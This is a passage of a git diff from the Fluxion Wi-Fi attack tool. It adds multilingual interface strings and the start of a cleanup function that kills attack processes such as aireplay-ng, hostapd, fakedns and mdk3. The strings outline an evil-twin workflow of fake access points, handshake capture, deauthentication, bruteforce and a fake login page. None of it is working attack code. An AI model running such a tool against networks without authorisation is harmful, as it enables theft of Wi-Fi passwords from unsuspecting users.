general_exitmode_7="Vyčištění proběhlo úspěšně!" + general_exitmode_8="Děkujeme pro používání programu fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Aktivní klienti" + selection_2="Select target. Pro znovuskenování napište$red r$transparent" diff --git a/language/en b/language/en new file mode 100644 index 0000000..537dfe7 --- /dev/null +++ b/language/en @@ -0,0 +1,48 @@ +header_setinterface="Select an interface" + setinterface_error="There are no wireless cards, quit..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Select channel" + choosescan_option_1="All channels " + choosescan_option_2="Specific channel(s)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Single channel" + scanchan_option_2="Multiple channels" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="WIFI Monitor" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Scanning Target" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Select Attack Option" + askAP_option_1="FakeAP - Hostapd ("$red"Recommended)" + askAP_option_2="FakeAP - airbase-ng (Slower connection)" + askAP_option_4="Bruteforce - (Handshake is required)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="METHOD TO VERIFY THE PASSWORD" + askauth_option_1="Handshake ("$red"Recommended)" + askauth_option_2="Wpa_supplicant(More failures)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Handshake check" + deauthforce_option_1="aircrack-ng (Miss chance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Capture Handshake*" + deauthMENU_option_1="Check handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Select your option" + header_ConnectionRESET="Select Login Page" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Back" + general_error_1="Not_Found" + general_case_error="Unknown option. Choose again" + general_exitmode="Cleaning and closing" + general_exitmode_1="Disabling monitoring interface" + general_exitmode_2="Disabling interface" + general_exitmode_3="Disabling "$grey"forwarding of packets" + general_exitmode_4="Cleaning "$grey"iptables" + general_exitmode_5="Restoring "$grey"tput" + general_exitmode_6="Restarting "$grey"Network-Manager" + general_exitmode_7="Cleanup performed successfully!" + general_exitmode_8="Thanks for using fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Active clients" + selection_2="Select target. For rescan type$red r$transparent" diff --git a/language/esp b/language/esp new file mode 100644 index 0000000..cca4ec0 --- /dev/null +++ b/language/esp @@ -0,0 +1,52 @@ +header_setinterface="Seleccione una interfase" + setinterface_error="No hay tarjetas inalambricas, saliendo..." + + # + header_choosescan="Seleccione canal" + choosescan_option_1="Todos los canales " + choosescan_option_2="Canal(es) específico(s)" + # + scanchan_option_1="Canal único" + scanchan_option_2="Canales múltiples" + # + header_scan="WIFI Monitor" + # + header_scanchan="Escaneando objetivo" + # + header_askAP="Seleccione Opción de Ataque" + askAP_option_1="FakeAP - Hostapd ("$red"Recomendado)" + askAP_option_2="FakeAP - airbase-ng (Conexión más lenta)" + askAP_option_4="Bruteforce - (Se requiere handshake)" + # + header_askauth="MÉTODO PARA VERIFICAR CONTRASEÑA" + askauth_option_1="Handshake ("$red"Recomendado)" + askauth_option_2="Wpa_supplicant(Más Fallas)" + # + header_deauthforce="Chequeo de Handshake" + deauthforce_option_1="aircrack-ng (Posibilidad de error)" + # + header_deauthMENU="*Capturar Handshake*" + deauthMENU_option_1="Chequear handshake" + # + handshakelocation_1="ubicación del handshake (Ejemplo: $red$WORK_DIR.cap$transparent)" + handshakelocation_2="Presione ${yellow}ENTER$transparent para saltar" + # + header_webinterface="Seleccione su opción" + header_ConnectionRESET="Seleccione página de Login" + # + general_back="Atrás" + general_error_1="No_Encontrado" + general_case_error="Opción desconocida. Elija de nuevo" + general_exitmode="Limpiando y cerrando" + general_exitmode_1="Deshabilitando interfaz de monitoreo" + general_exitmode_2="Deshabilitando interfaz" + general_exitmode_3="Deshabilitando "$grey"reenvio de paquetes" + general_exitmode_4="Limpiando "$grey"iptables" + general_exitmode_5="Restaurando "$grey"tput" + general_exitmode_6="Reiniciando "$grey"Network-Manager" + general_exitmode_7="Limpieza realizada satisfactoriamente!" + general_exitmode_8="Gracias por usar fluxion" + # + selection_1="Clientes activos" + selection_2="Seleccione objetivo. Para reescanear teclee$red r$transparent" + diff --git a/language/fr b/language/fr new file mode 100644 index 0000000..4d449d6 --- /dev/null +++ b/language/fr @@ -0,0 +1,48 @@ +header_setinterface="Sélectionnez une interface" + setinterface_error="Pas de carte wifi detecté, fin..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Sélectionnez un canal" + choosescan_option_1="Tous les canaux " + choosescan_option_2="Canal spécifique" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Un seul canal" + scanchan_option_2="Plusieurs canaux" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="WIFI Monitor" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Scan du reseau" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Sélectionnez une option d'attaque" + askAP_option_1="FakeAP - Hostapd ("$red"Recommandé)" + askAP_option_2="FakeAP - airbase-ng (Connexion plus lente)" + askAP_option_4="Bruteforce - (Handshake requis)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="METHODE DE VÉRIFICATION DU PASSWORD" + askauth_option_1="Handshake ("$red"Recommandé)" + askauth_option_2="Wpa_supplicant (Plus d'échecs)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Vérification du Handshake" + deauthforce_option_1="aircrack-ng (Moins de chance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Capture du Handshake*" + deauthMENU_option_1="Vérification du Handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Sélectionnez votre option" + header_ConnectionRESET="Sélectionnez la page de connexion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Retour" + general_error_1="Pas trouvé" + general_case_error="Option inconnue. Sélectionnez à nouveau" + general_exitmode="Nettoyage et fermeture" + general_exitmode_1="Désactivation de l'interface de monitoring" + general_exitmode_2="Désactivation de l'interface" + general_exitmode_3="Désactivation de "$grey" transmission de paquets" + general_exitmode_4="Nettoyage "$grey"iptables" + general_exitmode_5="Restauration "$grey"tput" + general_exitmode_6="Redémarrage "$grey"Network-Manager" + general_exitmode_7="Nettoyage effectué avec succès!" + general_exitmode_8="Merci d'avoir utilisé fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Clients actifs" + selection_2="Sélectionnez une cible. Pour relancer un scan, touche $red r$transparent" diff --git a/language/ger b/language/ger new file mode 100644 index 0000000..c096d4e --- /dev/null +++ b/language/ger @@ -0,0 +1,52 @@ +header_setinterface="Wähle deine Netzwerkkarte aus" + setinterface_error="Es wurden keine Netzwerkkarten gefunden, beende..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Wähle deinen Kanal aus" + + choosescan_option_1="Alle Kanäle" + choosescan_option_2="Spezifische Kanal(e)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Einzelner Kanal" + scanchan_option_2="Mehrere Kanäle" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="WIFI Monitor" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Scanne Netzwerke..." + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Wähle deine Angriffsmethode aus" + askAP_option_1="FakeAP - Hostapd ("$red"Empfohlen)" + askAP_option_2="FakeAP - airbase-ng (Langsame Verbindung)" + askAP_option_4="Bruteforce - (Handshake wird benötigt)" + general_back="Zurück" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="Methode zum Prüfen des Handshake" + askauth_option_1="Handshake ("$red"Empfohlen)" + askauth_option_2="Wpa_supplicant (Mehrere Ausfälle)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Handshake-Überprüfung" + deauthforce_option_1="aircrack-ng (Ausfall möglich)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Erfassung des Handshake*" + deauthMENU_option_1="Überprüfe Handshake" + deauthMENU_option_2="Starte neu" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Wähle deine Strategie aus" + header_ConnectionRESET="Wähle deine Anmeldeseite aus" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_case_error="Unbekannte Option, wähle neu aus" + general_error_1="Nicht gefunden" + general_error_2="Datei wurde ${red}nicht$transparent gefunden" + general_back="Zurück" + general_exitmode="Aufräumen und schließen" + general_exitmode_1="Deaktivierung des Monitor Interface" + general_exitmode_2="Deaktivierung des Interface" + general_exitmode_3="Deaktivierung "$grey"von weiterleiten von Paketen" + general_exitmode_4="Säubere "$grey"iptables" + general_exitmode_5="Wiederherstellung von"$grey"tput" + general_exitmode_6="Neustarten des "$grey"Netzwerk Manager" + general_exitmode_7="Wiederherstellung war erfolgreich" + general_exitmode_8="Vielen Dank für die Nutzung von Fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Mit aktive Nutzer" + selection_2="Wähle dein Angriffsziel aus. Um neu zu scannen tippe $red r$transparent" diff --git a/language/gr b/language/gr new file mode 100644 index 0000000..ca2a122 --- /dev/null +++ b/language/gr @@ -0,0 +1,48 @@ + header_setinterface="Επιλέξτε μία διεπαφή" + setinterface_error="Δεν υπάρχουν ασύρματες κάρτες δικτύου, έξοδος..." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Επίλεξτε κανάλι" + choosescan_option_1="Όλα τα κανάλια" + choosescan_option_2="Συγκεκριμένο(α) κανάλι(α)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="Μονό κανάλι" + scanchan_option_2="Πολλαπλά κανάλια" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="Εποπτεία Wi-Fi" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Σκανάρισμα στόχου" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Επίλογη τύπου επίθεσης" + askAP_option_1="FakeAP - Hostapd ("$red"Συνιστάται)" + askAP_option_2="FakeAP - airbase-ng (Πιό αργή σύνδεση)" + askAP_option_4="Bruteforce - (Απαιτείται το Handshake)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="Μέθοδος επαλήθευσης κωδικού πρόσβασης" + askauth_option_1="Handshake ("$red"Συνιστάται)" + askauth_option_2="Wpa_supplicant(Περισσότερες αποτυχίες)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Επαλήθευση Handshake" + deauthforce_option_1="aircrack-ng (Πιθανότητα αποτυχίας)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Λήψη του Handshake*" + deauthMENU_option_1="Έλεγχος του handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Επίλεξτε την επιλογή σας" + header_ConnectionRESET="Επίλογη Σελίδας Εισόδου" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Πίσω" + general_error_1="Δέν_βρέθηκε" + general_case_error="Άγνωστη επιλογή. Επιλέξτε ξανά" + general_exitmode="Καθαρισμός και τερματισμός" + general_exitmode_1="Απενεργοποίση εποπτείας περιβάλλοντος" + general_exitmode_2="Απενεργοποίηση περιβάλλοντος" + general_exitmode_3="Απενεργοποίηση "$grey"προώθησης των πακέτων" + general_exitmode_4="Καθαρισμός "$grey"iptables" + general_exitmode_5="Επαναφορά "$grey"tput" + general_exitmode_6="Επανεκκίνηση "$grey"του Διαχειριστή δικτύου" + general_exitmode_7="Ο Καθαρισμός εκτελέστηκε με επιτυχία!" + general_exitmode_8="Ευχαριστούμε που χρησιμοποιήσατε το fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Ενεργοί πελάτες" + selection_2="Επιλέξτε στόχο. Για σκανάρισμα ξανά, πατήστε το$red r$transparent" diff --git a/language/it b/language/it new file mode 100644 index 0000000..071d234 --- /dev/null +++ b/language/it @@ -0,0 +1,51 @@ +header_setinterface="Seleziona un'interfaccia" + setinterface_error="Nessuna scheda di rete trovata, chiusura..." + + # + header_choosescan="Selezione Canale" + choosescan_option_1="Tutti i Canali" + choosescan_option_2="Definisci Canale/i" + # + scanchan_option_1="Canale Singolo" + scanchan_option_2="Canali Multipli" + # + header_scan="WIFI Monitor" + # + header_scanchan="Scansione dell'Obiettivo" + # + header_askAP="Seleziona Opzione d'Attacco" + askAP_option_1="FakeAP - Hostapd ("$red"Consigliato!)" + askAP_option_2="FakeAP - airbase-ng (Connessione Lenta)" + askAP_option_4="Bruteforce - (Richiede handshake)" + # + header_askauth="MODALITA' DI VERIFICA DELLA PASSWORD" + askauth_option_1="Handshake ("$red"Consigliato!)" + askauth_option_2="Wpa_supplicant(Rischio di Insuccesso)" + # + header_deauthforce="Controllo dell'Handshake" + deauthforce_option_1="aircrack-ng (Possibilità di Errori)" + # + header_deauthMENU="*Cattura dell'Handshake*" + deauthMENU_option_1="Controllo handshake" + # + handshakelocation_1="posizione dell'handshake (Esempio: $red$WORK_DIR.cap$transparent)" + handshakelocation_2="Premi ${yellow}INVIO$transparent per avanzare" + # + header_webinterface="Seleziona la tua scelta" + header_ConnectionRESET="Seleziona la pagina di Login" + # + general_back="Indietro" + general_error_1="Non_Trovato" + general_case_error="Opzione Sconosciuta. Scegli di nuovo" + general_exitmode="Pulizia e chiusura" + general_exitmode_1="Disabilito l'Interfaccia Monitor" + general_exitmode_2="Disabilito l'Interfaccia" + general_exitmode_3="Disabilito "$grey"l'invio dei pacchetti" + general_exitmode_4="Pulisco "$grey"iptables" + general_exitmode_5="Ripristino "$grey"tput" + general_exitmode_6="Riavvio il "$grey"Network-Manager" + general_exitmode_7="Pulizia avvenuta con successo!" + general_exitmode_8="Grazie per aver utilizzato Fluxion" + # + selection_1="Dispositivi connessi" + selection_2="Seleziona Obiettivo. Per effettuare una nuova scansione delle reti premi$red r$transparent" diff --git a/language/ro b/language/ro new file mode 100644 index 0000000..e9e2b98 --- /dev/null +++ b/language/ro @@ -0,0 +1,51 @@ + header_setinterface="Selecteaza o interfata" + setinterface_error="Nu este nici o placa de retea wireless, iesire..." + + # + header_choosescan="Selecteaza canalul" + choosescan_option_1="Toate canalele " + choosescan_option_2="Canal specific(s)" + # + scanchan_option_1="Un singur canal" + scanchan_option_2="Canale multiple" + # + header_scan="WIFI Monitor" + # + header_scanchan="Scaneaza tinta" + # + header_askAP="Selecteaza optiunea de atac" + askAP_option_1="FakeAP - Hostapd ("$red"Recomandat)" + askAP_option_2="FakeAP - airbase-ng (Conexiune mai lenta)" + askAP_option_4="Bruteforce - (Handshake este necesara)" + # + header_askauth="METODA PENTRU VERIFICAREA PAROLEI" + askauth_option_1="Handshake ("$red"Recomandat)" + askauth_option_2="Wpa_supplicant(Mai multe eșecuri)" + # + header_deauthforce="Verificare Handshake" + deauthforce_option_1="aircrack-ng (Sansa ratata)" + # + header_deauthMENU="*Capturare Handshake*" + deauthMENU_option_1="Verificare handshake" + # + handshakelocation_1="Handshake locatie (Examplu: $red$WORK_DIR.cap$transparent)" + handshakelocation_2="Apasa ${yellow}ENTER$transparent to skip" + # + header_webinterface="Selecteaza optiunea ta" + header_ConnectionRESET="Selecteaza pagina de logare" + # + general_back="Inapoi" + general_error_1="Nu a fost gasit" + general_case_error="Optiune necunoscuta. Incearca din nou" + general_exitmode="Curatire si inchidere" + general_exitmode_1="Dezacticati interfata monitorizata" + general_exitmode_2="Dezactivati interfata" + general_exitmode_3="Dezactivati "$grey"forwarding of packets" + general_exitmode_4="Curatire "$grey"iptables" + general_exitmode_5="Restaurare "$grey"tput" + general_exitmode_6="Restartare "$grey"Network-Manager" + general_exitmode_7="Curatire efectuata cu succes!" + general_exitmode_8="Multumesc pentru ca ati folosit fluxion" + # + selection_1="Clienti activi" + selection_2="Selecteaza tinta. Pentru rescanare tastati$red r$transparent" diff --git a/language/source b/language/source new file mode 100644 index 0000000..2584807 --- /dev/null +++ b/language/source @@ -0,0 +1,75 @@ + +#EN +source $WORK_DIR/sites/neutra/en + +#GER +source $WORK_DIR/sites/neutra/ger + +#ESP +source $WORK_DIR/sites/neutra/esp + +#IT +source $WORK_DIR/sites/neutra/it + +#FR +source $WORK_DIR/sites/neutra/fr + +#POR +source $WORK_DIR/sites/neutra/por + +#RUS +source $WORK_DIR/sites/neutra/rus + +#TR +source $WORK_DIR/sites/neutra/tr + +#RO +source $WORK_DIR/sites/neutra/ro + +#HU +source $WORK_DIR/sites/neutra/hu + +#ARA +source $WORK_DIR/sites/neutra/ara + +#CN +source $WORK_DIR/sites/neutra/cn + +#GR +source $WORK_DIR/sites/neutra/gr + +#CZ +source $WORK_DIR/sites/neutra/cz + +#NO +source $WORK_DIR/sites/neutra/no + +#BG +source $WORK_DIR/sites/neutra/bg + +#SRB +source $WORK_DIR/sites/neutra/srb + +#PL +source $WORK_DIR/sites/neutra/pl + +#ID +source $WORK_DIR/sites/neutra/id + +#NL +source $WORK_DIR/sites/neutra/nl + +#DAN +source $WORK_DIR/sites/neutra/dan + +#TH +source $WORK_DIR/sites/neutra/th + +#HE +source $WORK_DIR/sites/neutra/he + +#Portuguese +source $WORK_DIR/sites/neutra/por + +# SVN +source $WORK_DIR/sites/neutra/svn \ No newline at end of file diff --git a/language/svn b/language/svn new file mode 100644 index 0000000..965ce6a --- /dev/null +++ b/language/svn @@ -0,0 +1,48 @@ +header_setinterface="Izberite vmesnik" + setinterface_error="Tukaj ni nobenega primernega vmesnika, zapiram...." + + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_choosescan="Izberite kanal" + choosescan_option_1="Vsi kanali " + choosescan_option_2="Določen kanal/i" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + scanchan_option_1="En kanal" + scanchan_option_2="Več kanalov" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="WIFI Nadzor" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Skeniram tarče" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Izberite način napada" + askAP_option_1="FakeAP - Hostapd ("$red"Priporočeno)" + askAP_option_2="FakeAP - airbase-ng (Počasnejša povezava)" + askAP_option_4="Bruteforce - (Handshake je potreben)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="METODA PREVERITVE GESLA" + askauth_option_1="Handshake ("$red"Priporočeno)" + askauth_option_2="Wpa_supplicant(Slabša zanesljivost)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Handshake preverjanje" + deauthforce_option_1="aircrack-ng (Miss chance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Zajami Handshake*" + deauthMENU_option_1="Preveri handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Izberi možnost" + header_ConnectionRESET="Izberi prijavno stran" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Nazaj" + general_error_1="Ni_najdeno" + general_case_error="Nepoznana možnost, izberi ponovno!" + general_exitmode="Čiščenje in zapiranje" + general_exitmode_1="Onemogočanje nadzornega načina" + general_exitmode_2="Onemogočanje vmesnika" + general_exitmode_3="Onemogočanje "$grey"posredovanja paketov" + general_exitmode_4="Čiščenje "$grey"iptables" + general_exitmode_5="Obnavljam "$grey"tput" + general_exitmode_6="Ponovno zaganjam "$grey"Network-Manager" + general_exitmode_7="Čiščenje je bilo uspšno!" + general_exitmode_8="Hvala ker uporabljaš fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Aktivnih odjemalcev" + selection_2="Izberite tarčo. Za ponovno skeniranje napisi $red r$transparent" diff --git a/language/tu b/language/tu new file mode 100644 index 0000000..19d86be --- /dev/null +++ b/language/tu @@ -0,0 +1,51 @@ +header_setinterface="Bir Ag Secin" + setinterface_error="Wireless adaptorunuz yok, program kapatiliyor..." + + # + header_choosescan="Kanal Sec" + choosescan_option_1="Tum Kanallar " + choosescan_option_2="Sectigim Kanal ya da Kanallar" + # + scanchan_option_1="Tek Kanal" + scanchan_option_2="Coklu Kanal" + # + header_scan="Wifi Goruntule" + # + header_scanchan="Hedef Taraniyor" + # + header_askAP="Saldiri Tipi Secin" + askAP_option_1="SahteAP - Hostapd ("$red"Tavsiye Edilen)" + askAP_option_2="SahteAP - airbase-ng (Yavas Baglanti)" + askAP_option_4="Kabakuvvet - (Handshake Gereklidir)" + # + header_askauth="Sifre Kontrol Metodu" + askauth_option_1="Handshake ("$red"Tavsiye Edilen)" + askauth_option_2="Wpa_supplicant(Hata Orani Yuksek)" + # + header_deauthforce="Handshake Kontrol" + deauthforce_option_1="aircrack-ng (Hata Sansı Var)" + # + header_deauthMENU="*Kaydet Handshake*" + deauthMENU_option_1="Kontrol Et handshake" + # + handshakelocation_1="handshake Dizini (Ornek: $red$WORK_DIR.cap$transparent)" + handshakelocation_2="Tusa Bas ${yellow}ENTER$transparent Gecmek icin" + # + header_webinterface="Secenegi Sec" + header_ConnectionRESET="Giris Sayfasini Sec" + # + general_back="Geri" + general_error_1="Bulunamadi" + general_case_error="Bilinmeyen Secenek. Tekrar Seciniz" + general_exitmode="Temizleniyor ve Kapatiliyor" + general_exitmode_1="Monitor modu kapatiliyor" + general_exitmode_2="Ag Arayuzu kapatiliyor" + general_exitmode_3="Kapatiliyor "$grey"forwarding of packets" + general_exitmode_4="Temizleniyor "$grey"iptables" + general_exitmode_5="Yenileniyor "$grey"tput" + general_exitmode_6="Tekrar Baslatiliyor "$grey"Network-Manager" + general_exitmode_7="Temizlik Basariyla Tamamlandi!" + general_exitmode_8="Fluxion kullandiginiz icin tesekkurler." + # + selection_1="Aktif kullanicilar" + selection_2="Tekrar taramak icin Hedef seciniz type$red r$transparent" diff --git a/airmon b/lib/airmon/airmon similarity index 100% rename from airmon rename to lib/airmon/airmon diff --git a/lib/exitmode b/lib/exitmode new file mode 100644 index 0000000..d411099 --- /dev/null +++ b/lib/exitmode @@ -0,0 +1,101 @@ +function exitmode { + if [ $FLUX_DEBUG != 1 ]; then + conditional_clear + top + echo -e "\n\n"$white"["$red"-"$white"] "$red"$general_exitmode"$transparent"" + + if ps -A | grep -q aireplay-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" + killall aireplay-ng &>$flux_output_device + fi + + if ps -A | grep -q airodump-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" + killall airodump-ng &>$flux_output_device + fi + + if ps a | grep python| grep fakedns; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + fi + + if ps -A | grep -q hostapd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" + killall hostapd &>$flux_output_device + fi + + if ps -A | grep -q lighttpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" + killall lighttpd &>$flux_output_device + fi + + if ps -A | grep -q dhcpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" + killall dhcpd &>$flux_output_device + fi + + if ps -A | grep -q mdk3; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" + killall mdk3 &>$flux_output_device + fi + + if [ "$WIFI_MONITOR" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_1 "$green"$WIFI_MONITOR"$transparent"" + ./lib/airmon/airmon stop $WIFI_MONITOR &> $flux_output_device + fi + + + if [ "$WIFI" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_2 "$green"$WIFI"$transparent"" + ./lib/airmon/airmon stop $WIFI &> $flux_output_device + 